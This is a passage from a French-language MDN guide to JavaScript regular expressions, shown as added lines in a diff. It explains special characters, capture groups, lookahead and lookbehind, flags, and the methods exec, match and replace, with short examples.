+    <p>Ainsi, <code>/.n/</code> correspond à 'un' et 'en' dans "Un baobab nain en cours de croissance" mais pas à 'nain'.</p>
+
+    <p>Si le marqueur <code>s</code> (<em>dotAll</em>) est utilisé, le point correspondra également aux caractères de saut de ligne.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-capturing-parentheses" id="special-capturing-parentheses" name="special-capturing-parentheses"><code>(x)</code></a></td>
+   <td>
+    <p>Correspond à 'x' et garde la correspondance en mémoire. Les parenthèses permettent de <em>capturer </em>l'expression dans un « groupe ».<br>
+     <br>
+     Les '<code>(toto)</code>' et '<code>(truc)</code>', dans le motif <code>/(toto) (truc) \1 \2/</code> correspondent et gardent en mémoire les deux premiers mots de la chaîne de caractère "toto truc toto truc". Les <code>\1</code> et <code>\2</code> du motif correspondent respectivement à la première et à la deuxième correspondances pour les sous-chaînes entre parenthèses. Lorsqu'on souhaite effectuer un remplacement, on utilisera <code>$1</code> et <code>$2</code> pour faire référence au premier et second groupe et <code>$</code><code>n </code>pour faire référence au n-ième groupe capturé (ex. <code>('toto truc'.replace(/(...) (...)/, '$2 $1').</code> <code>$&amp;</code> fera référence à la chaîne entière).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-capturing-parentheses" id="special-non-capturing-parentheses" name="special-non-capturing-parentheses"><code>(?:x)</code></a></td>
+   <td>Correspond à 'x' mais ne garde pas la correspondance en mémoire. Les parenthèses ne <em>capturent</em> pas l'expression et permettent d'utiliser des sous-expressions d'une expression régulière pour travailler plus finement. L'expression <code>/(?:zoo){1,2}/</code> sans parenthèses non-capturantes <code>les caractères {1,2}</code> ne s'appliqueraient qu'au dernier 'o' de 'zoo'. Avec les parenthèses capturantes, <code>{1,2}</code> s'applique au mot entier 'zoo'. Pour plus d'informations, voir <a href="#parentheses">Utiliser les parenthèses</a> ci-après.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-lookahead" id="special-lookahead" name="special-lookahead"><code>x(?=y)</code></a></td>
+   <td>
+    <p>Correspond à 'x' seulement s'il est suivi de 'y'. On appelle cela un test de succession (<em>lookahead</em>).</p>
+
+    <p>Ainsi, <code>/Jack(?=Sparrow)/</code> correspond à 'Jack' seulement s'il est suivi de 'Sparrow'. <code>/Jack(?=Sparrow|Bauer)/</code> correspond à 'Jack' seulement s'il est suivi de 'Sparrow' ou de 'Bauer'. Cependant, ni 'Sparrow' ni 'Bauer' ne feront partie de la correspondance.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-look-ahead" id="special-negated-look-ahead" name="special-negated-look-ahead"><code>x(?!y)</code></a></td>
+   <td>
+    <p>Correspond à 'x' seulement si 'x' n'est pas suivi de 'y'.</p>
+
+    <p>Ainsi, <code>/\d+(?!\.)/</code> correspond à un nombre qui n'est pas suivi par un point, cette expression utilisée avec <code>la chaîne 3.141</code> correspondra pour '141' mais pas pour '3.141'.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;=<em>y</em>)<em>x</em></code></td>
+   <td>
+    <p>Correspond à <code><em>x</em></code> seulement si <code><em>x</em></code> est précédé par <code><em>y</em></code>. C'est ce qu'on appelle une recherche arrière (<em>lookbehind</em>).</p>
+
+    <p>Ainsi /<code>(?&lt;=Jack)Sprat/</code> correspond à "Sprat" seulement s'il est précédé de "Jack".<br>
+     <code>/(?&lt;=Jack|Tom)Sprat/</code> correspond à "Sprat" seulement s'il est précédé de "Jack" ou "Tom".<br>
+     Toutefois, "Jack" et "Tom" ne feront pas partie de la correspondance.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;!<em>y</em>)<em>x</em></code></td>
+   <td>
+    <p>Correspond à <code><em>x</em></code> uniquement si <code><em>x</em></code> n'est pas précédé par <code><em>y</em></code> (parfois appelée en anglais <em>negated lookbehind</em>)<em>.</em></p>
+
+    <p>Ainsi, <code>/(?&lt;!-)\d+/</code> correspondra à un nombre seulement si celui-ci n'est pas précédé d'un signe moins.<br>
+     <code>/(?&lt;!-)\d+/.exec('3')</code> cible "3".<br>
+     <code>/(?&lt;!-)\d+/.exec('-3')</code> ne trouve aucune correspondance car le nombre est précédé d'un signe.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-or" id="special-or" name="special-or"><code>x|y</code></a></td>
+   <td>
+    <p>Correspond à 'x' ou 'y'.</p>
+
+    <p>Ainsi, <code>/vert|rouge/</code> correspond à 'vert' dans "feu vert" et à 'rouge' dans "feu rouge".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier" id="special-quantifier" name="special-quantifier"><code>{n}</code></a></td>
+   <td>Correspond pour exactement n occurences de l'expression précédente. N doit être un entier positif.<br>
+    <br>
+    Ainsi, <code>/a{2}/</code> ne correspond pas au 'a' de "Mozilla" mais correspond à tous les 'a' de "Mozilaa" et aux deux premiers 'a' de "Mozillaaa".</td>
+  </tr>
+  <tr>
+   <td><code>{n,}</code></td>
+   <td>
+    <p>Correspond lorsqu'il y a au moins <code>n</code> occurences de l'expression précédente. <code>n</code> doit être un entier positif.</p>
+
+    <p>Par exemple <code>/a{2,}/</code> correspondra à <code>"aa"</code> ou à <code>"aaa"</code> ou encore à <code>"aaaa"</code> mais pas à <code>"a"</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier-range" id="special-quantifier-range" name="special-quantifier-range"><code>{n,m}</code></a></td>
+   <td>
+    <p>Lorsque <code>n</code> et <code>m</code> sont des entiers positifs, cela correspond à au moins <code>n</code> occurences de l'expression précédente et à au plus <code>m</code> occurrences. Lorsque <code>m</code> n'est pas utilisé, la valeur par défaut correspondante sera l'infini.</p>
+
+    <p>Ainsi, <code>/a{1,3}/</code> ne correspond à rien dans "Mozill", au 'a' de "Mozilla", au deux premiers 'a' de "Mozillaa" et au trois premiers 'a' de "Mozillaaaaa". Pour ce dernier exemple, on doit noter que le correspondance ne se fait que sur "aaa" bien qu'il y ait plus de 'a' dans la chaîne de caractères.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td>
+   <td>Un ensemble de caractère. Ce type de motif correspond pour n'importe quel caractètre présent entre les crochets, y compris les <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_caractères_d'échappement">séquences d'échappement</a>. Les caractères spéciaux comme le point (.) et l'astérisque ne sont pas considérés comme spéciaux au sein d'un ensemble et n'ont donc pas besoin d'être échappés. Il est possible de donner un ensemble sur un intervalle de caractères en utilisant un tiret (-), comme le montre l'exemple qui suit.<br>
+    <br>
+    Le motif <code>[a-d]</code>, aura les mêmes correspondances que <code>[abcd]</code>, correspondant au 'b' de "bulle" et au 'c' de "ciel". Les motifis <code>/[a-z.]+/ </code>et <code>/[\w.]+/</code> correspondront pour la chaîne entirère : "Adre.ss.e".</td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-character-set" id="special-negated-character-set" name="special-negated-character-set"><code>[^xyz]</code></a></td>
+   <td>
+    <p>Exclusion d'un ensemble de caractères. Cela correspond à tout ce qui n'est pas compris entre crochets. Il est possible de fournir un intervalle de caractères en utilisant un tiret (-). Les autres règles qui s'appliquent pour l'ensemble de caractères (ci-avant) s'appliquent également ici.</p>
+
+    <p>Par exemple, <code>[^abc]</code> est équivalent à <code>[^a-c]</code>. Ils correspondent à 'u' dans "bulle" et à 'i' dans "ciel".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backspace" id="special-backspace" name="special-backspace"><code>[\b]</code></a></td>
+   <td>Correspond pour un retour arrière (U+0008). (À ne pas confondre avec <code>\b</code>.)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word-boundary" id="special-word-boundary" name="special-word-boundary"><code>\b</code></a></td>
+   <td>
+    <p>Correspond à la position d'uneAfter the <em>limite de mot</em>. Une limite de mot correspond à la position où un caractère d'un mot n'est pas suivi ou précédé d'un autre caractère de mot. Il faut savoir que la limite correspondante n'est pas incluse dans le résultat. Autrement dit, la longueur d'une telle correspondance est nulle. (À ne pas confondre avec <code>[\b]</code>.)</p>
+
+    <p>Exemples :<br>
+     <code>/\bm/</code> correspond au 'm' dans "mignon" ;<br>
+     <code>/no\b/</code> ne correspond pas au 'no' de "mignon" car 'no' est suivi de 'n' qui n'est pas un caractère de limite de mot;<br>
+     <code>/non\b/</code> correspond au 'non' de "mignon" car 'non' représente la fin de la chaîne de caractère et n'est donc pas suivi par un caractère de mot.<br>
+     <code>/\w\b\w/</code> ne correspondra jamais à quoi que ce soit car un caractère de mot ne peut pas être suivi à la fois par un caractère de mot et un caractère n'étant pas un caractère de mot.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Le moteur d'expressions rationnelles JavaScript définit <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6">un ensemble de caractères spécifiques</a> qui doivent être considérés comme des caractères de mot. Tout caractère qui n'est pas dans cet ensemble est considéré comme une limite de mot. Cet ensemble de caractères est relativement limité car constitué uniquement des caractères de l'alphabet romain en minuscules et en majuscules, des chiffres décimaux et du tiret-bas (<em>underscore</em>). Les autres caractères, comme les caractères accentués (é ou ü par exemple), sont donc considérés comme des limites de mots.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word-boundary" id="special-non-word-boundary" name="special-non-word-boundary"><code>\B</code></a></td>
+   <td>
+    <p>Correspond à une "non-<em>limite de mot</em>". Cela correspond pour les cas suivants :</p>
+
+    <ul>
+     <li>Avant le premier caractère d'une chaîne de caractères</li>
+     <li>Après le dernier caractère d'une chaîne de caractères</li>
+     <li>Entre deux caractères de mot</li>
+     <li>Entre deux caractères qui ne sont pas des caractères de mot</li>
+     <li>Avec la chaîne vide.</li>
+    </ul>
+
+    <p>Ainsi, <code>/\B../</code> correspond au 'oo' de "football" (et <code>/e\B./</code> correspond au 'er' dans "une mer "</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-control" id="special-control" name="special-control"><code>\c<em>X</em></code></a></td>
+   <td>
+    <p>Étant donné un caractère <em>X</em> compris entre A et Z, cela correspond au caractère de contrôle dans une chaîne de caractères.</p>
+
+    <p>Ainsi, <code>/\cM/</code> correspond au caractère de contrôle M (U+000D) d'une chaîne de caractère.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-digit" id="special-digit" name="special-digit"><code>\d</code></a></td>
+   <td>
+    <p>Correspond à un chiffre et est équivalent à <code>[0-9]</code>.</p>
+
+    <p>Ainsi, <code>/\d/</code> ou <code>/[0-9]/</code> correspond à '2' dans "H2O est la molécule de l'eau".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-digit" id="special-non-digit" name="special-non-digit"><code>\D</code></a></td>
+   <td>
+    <p>Correspond à tout caractère qui n'est pas un chiffre et est équivalent à<code> [^0-9]</code>.</p>
+
+    <p>Ainsi, <code>/\D/</code> ou <code>/[^0-9]/</code> correspond à 'H' dans "H2O est la molécule de l'eau".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-form-feed" id="special-form-feed" name="special-form-feed"><code>\f</code></a></td>
+   <td>Correspond à un saut de page (U+000C).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-line-feed" id="special-line-feed" name="special-line-feed"><code>\n</code></a></td>
+   <td>Correspond à un saut de ligne (U+000A).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-carriage-return" id="special-carriage-return" name="special-carriage-return"><code>\r</code></a></td>
+   <td>Correspond à un retour chariot (U+000D).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-white-space" id="special-white-space" name="special-white-space"><code>\s</code></a></td>
+   <td>
+    <p>Correspond à un blanc (cela comprend les espace, tabulation, saut de ligne ou saut de page). C'est équivalent à <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p>
+
+    <p>Ainsi, <code>/\s\w*/</code> correspond à ' toto' dans "truc toto".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-white-space" id="special-non-white-space" name="special-non-white-space"><code>\S</code></a></td>
+   <td>
+    <p>Correspond à un caractère qui n'est pas un blanc. C'est équivalent à <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p>
+
+    <p>Ainsi, <code>/\S\w*/</code> correspond à 'truc' dans "truc toto".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-tab" id="special-tab" name="special-tab"><code>\t</code></a></td>
+   <td>Correspond à une tabulation (U+0009).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-vertical-tab" id="special-vertical-tab" name="special-vertical-tab"><code>\v</code></a></td>
+   <td>Correspond à une tabulation verticale (U+000B).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td>
+   <td>
+    <p>Correspond à n'importe quel caractère alphanumérique, y compris le tiret bas. C'est équivalent à <code>[A-Za-z0-9_]</code>.</p>
+
+    <p>Ainsi, <code>/\w/</code> correspond à 'l' dans "licorne", à '5' dans "5,28€", et à '3' dans "3D."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word" id="special-non-word" name="special-non-word"><code>\W</code></a></td>
+   <td>
+    <p>Correspond à n'importe quel caractère n'étant pas un caractère de mot. Cela est équivalent à <code>[^A-Za-z0-9_]</code>.</p>
+
+    <p>Ainsi, <code>/\W/</code> ou <code>/[^A-Za-z0-9_]/</code> correspond à '%' dans "50%."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td>
+   <td>
+    <p>Soit <em>n</em> un entier strictement positif, cela fait référence au groupe de la n-ième expression entre parenthèses (en comptant les parenthèses ouvrantes).</p>
+
+    <p>Ainsi, <code>/pomme(,)\spoire\1/</code> correspond à 'pomme, poire,' dans "pomme, poire, cerise, pêche".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-null" id="special-null" name="special-null"><code>\0</code></a></td>
+   <td>Correspond au caractère NULL (U+0000). Il ne doit pas être suivi d'un autre chiffre car <code>\0&lt;chiffres&gt;</code> est une <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_caractères_d'échappement">séquence d'échappement</a> pour les nombres en notation octale (si besoin d'utiliser un chiffre ensuite, on pourra utiliser la forme <code>\x00</code>, cf. ci-après).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-hex-escape" id="special-hex-escape" name="special-hex-escape"><code>\xhh</code></a></td>
+   <td>Correspond au caractère dont le code hexadécimal est hh (deux chiffres hexadécimaux).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-unicode-escape" id="special-unicode-escape" name="special-unicode-escape"><code>\uhhhh</code></a></td>
+   <td>Correspond au caractère dont le code est hhhh (quatre chiffres hexadécimaux).</td>
+  </tr>
+  <tr>
+   <td><code>\u{hhhh}</code></td>
+   <td>(Uniquement actif quand le marqueur <code>u</code> est activé) Correspond au caractère dont la valeur Unicode est <code>hhhh</code> (en chiffre hexadécimaux).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Afin d'échapper les informations saisies par l'utilisateur et de traîter les chaînes de caractères pour les utiliser au sein d'un expression régulière correspondante, il est possible d'utiliser le remplacement suivant :</p>
+
+<pre class="brush: js notranslate">function escapeRegExp(string){
+  // $&amp; correspond à la chaîne correspondante
+  // dans son intégralité
+  return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&amp;");
+}</pre>
+
+<p>Le marqueur <code>g</code> situé en fin d'expression permet d'effectuer une recherche globale, qui parcoure toute la chaîne et renvoie l'ensemble des correspondances trouvées (voir <a href="#recherches_flag">Utiliser les marqueurs</a> ci-après).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir la page sur la méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/replace">String.replace</a></code> pour plus d'informations.</p>
+</div>
+
+<h3 id="Utiliser_les_parenthèses"><a id="parentheses" name="parentheses">Utiliser les parenthèses</a></h3>
+
+<p>Les parenthèses encadrant une partie du motif de l'expression régulière peuvent être utilisées pour garder en mémoire les correspondances. Cela pourra être utile pour réutiliser la correspondance trouvée.</p>
+
+<p>Ainsi, le motif <code>/Chapitre (\d+)\.\d*/</code> utilise des caractères échappés et spéciaux et indique une partie du motif à garder en mémoire. Ce motif correspond aux caractères 'Chapitre ' suivi par un ou plusieurs caractères numériques (<code>\d</code> correspond à un chiffre et <code>+</code> indiquant que une série de 1 ou plusieurs chiffres), suivis par un point (qu'il est nécessaire d'échapper car c'est un caractère spécial, on utilise donc '\' pour indiquer qu'on souhaite reconnaître le caractère '.'), suivi par 0 ou plusieurs chiffres (<code>\d</code> correspondant à un chiffre et l'astérisque indiquant que le caractère est présent 0 ou plusieurs fois). Les parenthèses sont utilisées pour garder en mémoire les premiers chiffres correspondant.</p>
+
+<p>Ce motif est trouvé dans "Ouvrir le Chapitre 4.3 au paragraphe 6" et le chiffre '4' est gardé en mémoire. Le motif n'est pas trouvé dans  "Chapitre 3 et 4", car la chaîne de caractères ne comporte pas de point après le '3'.</p>
+
+<p>Pour qu'une partie de la chaîne de caractère corresponde mais que la correspondance ne soit pas gardée en mémoire, on pourra utiliser <code>?:</code>. Ainsi, <code>(?:\d+)</code> correspondra pour une séquence de chiffres (1 ou plusieurs chiffres) mais on ne gardera pas en mémoire les caractères correspondants.</p>
+
+<h2 id="Utiliser_les_expressions_rationnelles">Utiliser les expressions rationnelles</h2>
+
+<p>Les expresssions régulières sont utilisées avec les méthodes <code>test</code><code> </code>et<code> exec</code> de l'objet<code> RegExp</code> et avec les méthodes <code>match</code>, <code>replace</code>, <code>search</code>, et <code>split</code> de l'objet <code>String</code>. Ces méthodes sont expliquées en détail dans la <a href="/fr/docs/Web/JavaScript/Reference">Référence JavaScript</a>.</p>
+
+<table class="standard-table">
+ <caption>Méthodes utilisant les expressions régulières</caption>
+ <thead>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("RegExp.exec", "exec")}}</td>
+   <td>Une méthode de l'objet <code>RegExp</code> qui exécute une recherche de correspondance dans une chaîne de caractères. Elle renvoie un tableau d'informations ou <code>null</code> lorsqu'il n'y a pas de correspondance.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.test", "test")}}</td>
+   <td>Une méthode de l'objet <code>RegExp</code> testant la présence d'une correspondance dans une chaîne de caractères. Elle renvoie true ou false.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match")}}</td>
+   <td>Une méthode de l'objet <code>String</code> qui exécute une recherche de correspondance dans une chaîne de caractères. Elle renvoie un tableau d'informations ou <code>null</code> lorsqu'il n'y a pas de correspondance.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.matchAll", "matchAll")}}</td>
+   <td>Une méthode de l'objet <code>String</code> qui renvoie un itérateur contenant l'ensemble des correspondances, y compris les groupes capturants.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.search", "search")}}</td>
+   <td>Une méthode de l'objet <code>String</code> qui teste la présence d'une correspondance dans une chaîne de correspondance. Elle renvoie la position de la correspondance ou -1 s'il n'y en a pas.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.replace", "replace")}}</td>
+   <td>Une méthode de l'objet <code>String</code> qui recherche une correspondance dans une chaîne de caractères et qui remplace la correspondance par une chaîne de substitution.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split")}}</td>
+   <td>Une méthode de l'objet <code>String</code> qui utilise une expression régulière ou une chaîne de caractères pour découper une chaîne de caractères en un tableau comprenant les fragments résultants.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour savoir si un motif est présent au sein d'une chaîne de caractères, utiliser les méthodes<code> test</code> ou <code>search</code>. Pour obtenir plus d'informations (moins rapidement) on utilisera les méthodes <code>exec</code> ou <code>match</code>. Si on utilise <code>exec</code> ou <code>match</code> et qu'une correspondance est trouvée, ces méthodes renverront un tableau et mettront à jour des propriétés de l'objet global <code>RegExp</code> et aussi de l'instance de <code>RegExp</code> associée à l'expression rationnelle. Si aucune correspondance n'est trouvée, la méthode <code>exec</code> renverra <code>null</code> (qui est automatiquement converti à <code>false</code> lors d'un test conditionnel).</p>
+
+<p>Dans l'exemple qui suit, le script utilise la méthode <code>exec</code> pour trouver une correspondance dans une chaîne de caractères.</p>
+
+<pre class="brush: js notranslate">var monExpressionReguliere = /d(b+)d/g;
+var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
+</pre>
+
+<p>S'il n'est pas nécessaire d'accéder aux propriétés de l'expression régulière, une autre façon de récupérer <code>monTableau</code> peut être :</p>
+
+<pre class="brush: js notranslate">var monTableau = /d(b+)d/g.exec("cdbbdbsbz");
+// équivalent à "cdbbdbsbz".match(/d(b+)d/g);
+</pre>
+
+<p>Si on souhaite construire une expression régulière à partir d'une chaîne de caractères, on peut utiliser le script suivant :</p>
+
+<pre class="brush: js notranslate">var monExpressionReguliere = new RegExp("d(b+)d", "g");
+var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
+</pre>
+
+<p>Avec ces scripts, on obtient bien une correspondance, la méthode renvoie un tableau et met à jour les propriétés listées dans le tableau qui suit.</p>
+
+<table class="standard-table">
+ <caption>Résultats dûs à l'exécution d'une expression rationnelle.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Objet</th>
+   <th scope="col">Propriété ou indice</th>
+   <th scope="col">Description</th>
+   <th scope="col">Pour cet exemple</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="4"><code>monTableau</code></td>
+   <td></td>
+   <td>La chaîne de caractères correspondante et les fragments de chaînes gardés en mémoire.</td>
+   <td><code>["dbbd", "bb"]</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>L'indice (débute à partir de 0) de la correspondance, compté dans la chaîne de caractère initiale.</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>La chaîne de caractères initiale.</td>
+   <td><code>"cdbbdbsbz"</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>Les derniers caractères qui correspondent.</td>
+   <td><code>"dbbd"</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2"><code>monExpressionRégulière</code></td>
+   <td><code>lastIndex</code></td>
+   <td>L'indice auquel débuter la prochaine correspondance. (Cette propriété n'est utilisée que si l'expression régulière utilise l'option g, décrite dans « <a href="#recherches_flag">Effectuer des recherches avancées avec les marqueurs</a> ».</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>Le texte du motif, mis à jour à la création de l'expression régulière mais pas lors de son exécution.</td>
+   <td><code>"d(b+)d"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Comme le montre la seconde formulation de cet exemple, il est possible d'utiliser une expression rationnelle, créée avec un objet initialisé sans l'affecter à une variable. Cela implique qu'à chaque utilisation, on aura une nouvelle expression régulière distincte et qu'on ne pourra pas, pour cette raison, accéder aux propriétés de l'expression régulière. Avec le script suivant :</p>
+
+<pre class="brush: js notranslate">var monExpressionReguliere = /d(b+)d/g;
+var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
+console.log("La valeur de lastIndex est " + monExpressionReguliere.lastIndex);
+
+// "La valeur de lastIndex est 5"
+</pre>
+
+<p>Si le script utilisé est :</p>
+
+<pre class="brush: js notranslate">var monTableau = /d(b+)d/g.exec("cdbbdbsbz");
+console.log("La valeur de lastIndex est " + /d(b+)d/g.lastIndex);
+
+// "La valeur de lastIndex est 0"
+</pre>
+
+<p>Les occurences de <code>/d(b+)d/g</code> dans les deux instructions sont des objets différents. Leurs propriétés <code>lastIndex</code> respectives ont donc des valeurs différentes. Quand il est nécessaire d'accéder aux propriétés d'un objet décrivant une expression rationnelle, il faudra d'abord l'affecter à une variable.</p>
+
+<h3 id="Utiliser_les_correspondances_de_groupes_avec_les_parenthèses">Utiliser les correspondances de groupes avec les parenthèses</h3>
+
+<p>Les parenthèses, utilisées dans un motif d'expression régulière, permettent de garder en mémoire un groupe (ou fragment) d'une correspondance. Ainsi, <code>/a(b)c/</code> correspond aux caractères 'abc' et garde 'b' en mémoire. Pour récupérer ces fragments mémorisés, on peut utiliser les éléments du tableau <code>array</code> <code>[1]</code>, ..., <code>[n]</code>.</p>
+
+<p>Le nombre de fragments qu'il est possible de garder entre parenthèses n'est pas limité. Le tableau renvoyé contiendra tout ce qui aura été trouvé. Les exemples qui suivent montrent comment utiliser cette syntaxe.</p>
+
+<p>Le script qui suit utilise la méthode {{jsxref("String.replace", "replace()")}} pour échanger les mots d'une chaîne de caractères. Pour remplacer le texte, le script utilise <code>$1</code> et <code>$2</code> qui correspondent au premier et deuxième groupe correspondant.</p>
+
+<pre class="brush: js notranslate">var re = /(\w+)\s(\w+)/;
+var str = "Titi toto";
+var newstr = str.replace(re, "$2, $1");
+console.log(newstr);
+</pre>
+
+<p>Cela affichera "toto, Titi".</p>
+
+<h3 id="Effectuer_des_recherches_avancées_en_utilisant_les_marqueurs_flags"><a id="recherches_flag" name="recherches_flag">Effectuer des recherches avancées en utilisant les marqueurs (<em>flags</em>)</a></h3>
+
+<p>Les expressions rationnelles peuvent être utilisées avec des marqueurs optionnels permettant des recherches globales et/ou ne respectant pas la casse. Ces marqueurs peuvent être utilisés séparement ou ensemble, quel que soit l'ordre. Ils font partie de l'expression régulière.</p>
+
+<table class="standard-table">
+ <caption>Drapeaux utilisés avec les expressions régulières.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Drapeau (<em>Flag</em>)</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Recherche globale</td>
+  </tr>
+  <tr>
+   <td><code>i</code></td>
+   <td>Recherche ne respectant pas la casse</td>
+  </tr>
+  <tr>
+   <td><code>m</code></td>
+   <td>Recherche sur plusieurs lignes</td>
+  </tr>
+  <tr>
+   <td><code>s</code></td>
+   <td>Le point peut correspondre aux caractères de saut de ligne.</td>
+  </tr>
+  <tr>
+   <td><code>u</code></td>
+   <td>Unicode. Le motif de recherche est interprété comme une séquence de codets Unicode.</td>
+  </tr>
+  <tr>
+   <td><code>y</code></td>
+   <td>Effectue une recherche qui « adhère », en partant de la position courante de la chaîne de caractères sur laquelle la recherche est effectuée. Voir la page sur {{jsxref("RegExp.sticky","sticky")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour utiliser un marqueur avec une expression régulière, on utilisera la syntaxe suivante :</p>
+
+<pre class="brush: js notranslate">var re = /motif/marqueurs;
+</pre>
+
+<p>ou</p>
+
+<pre class="brush: js notranslate">var re = new RegExp("motif", "marqueurs");
+</pre>
+
+<p>Les marqueurs font partie intégrante d'une expression régulière, ils ne peuvent pas être ajoutés ou supprimés ensuite.</p>
+
+<p>Ainsi, <code>re = /\w+\s/g</code> permet de créer une expression régulière pour trouver un ou plusieurs caractères suivis d'un espace, la recherche est effectuée globalement, sur toute la chaîne de caractères.</p>
+
+<pre class="brush: js notranslate">var re = /\w+\s/g;
+var str = "un deux trois quatre";
+var monTableau = str.match(re);
+console.log(monTableau);
+</pre>
+
+<p>Cela affichera ["un ", "deux ", "trois "]. On pourrait remplacer la ligne :</p>
+
+<pre class="brush: js notranslate">var re = /\w+\s/g;
+</pre>
+
+<p>avec la ligne :</p>
+
+<pre class="brush: js notranslate">var re = new RegExp("\\w+\\s", "g");
+</pre>
+
+<p>pour obtenir le même résultat.</p>
+
+<p>Le comportement du marqueur <code>'g'</code> est différent selon qu'il est utilisé avec <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/exec">exec()</a></code> ou avec <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/match">match()</a></code>. Pour <code>match()</code>, c'est la chaîne de caractères qui invoque la méthode et l'expression rationnelle est alors un argument. Pour <code>exec()</code>, c'est l'expression rationnelle qui invoque la méthode et c'est la chaîne de caractères qui est passée en argument. Dans l'appel à <code>exec()</code>, le marqueur <code>'g'</code> permet d'avoir une progression itérative.</p>
+
+<p>Le marqueur <code>m</code> pourra être utilisé pour traiter une chaîne de caractères de plusieurs lignes comme plusieurs lignes distinctes. Si ce marqueur est utilisé, les caractères spéciaux <code>^</code> et <code>$</code> correspondront au début ou à la fin de n'importe quelle ligne appartenant à la chaîne de caractères au lieu de correspondre simplement au début ou à la fin de la chaîne.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les exemples qui suivent utilisent les expressions régulières dans différents cas.</p>
+
+<h3 id="Changer_lordre_dune_saisie">Changer l'ordre d'une saisie</h3>
+
+<p>L'exemple qui suit utilise les expressions régulières et <code>string.split()</code> et <code>string.replace()</code>. Le script nettoie la chaîne de caractères saisie qui contient des noms (prénom puis nom) séparés par des blancs, tabulations et points-virgules. Enfin il inverse les noms et prénoms puis trie la liste.</p>
+
+<pre class="brush: js notranslate">// La chaîne des noms contient plusieurs blancs et tabulations,
+// il peut y avoir plusieurs espaces entre le nom et le prénom.
+var noms = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = ["---------- Chaîne originale\n", noms + "\n"];
+
+// Préparer deux expressions régulières pour stocker un tableau.
+// et découper les chaînes dans ce tableau.
+
+// motif: on peut avoir des blancs, un point virgule puis d'autres blancs
+var motif = /\s*;\s*/;
+
+// Découper la chaîne de caractères en morceaux séparés par le précédent motif
+// Stocker ces morceaux dans un tableau listeNoms
+var listeNoms = noms.split(motif);
+
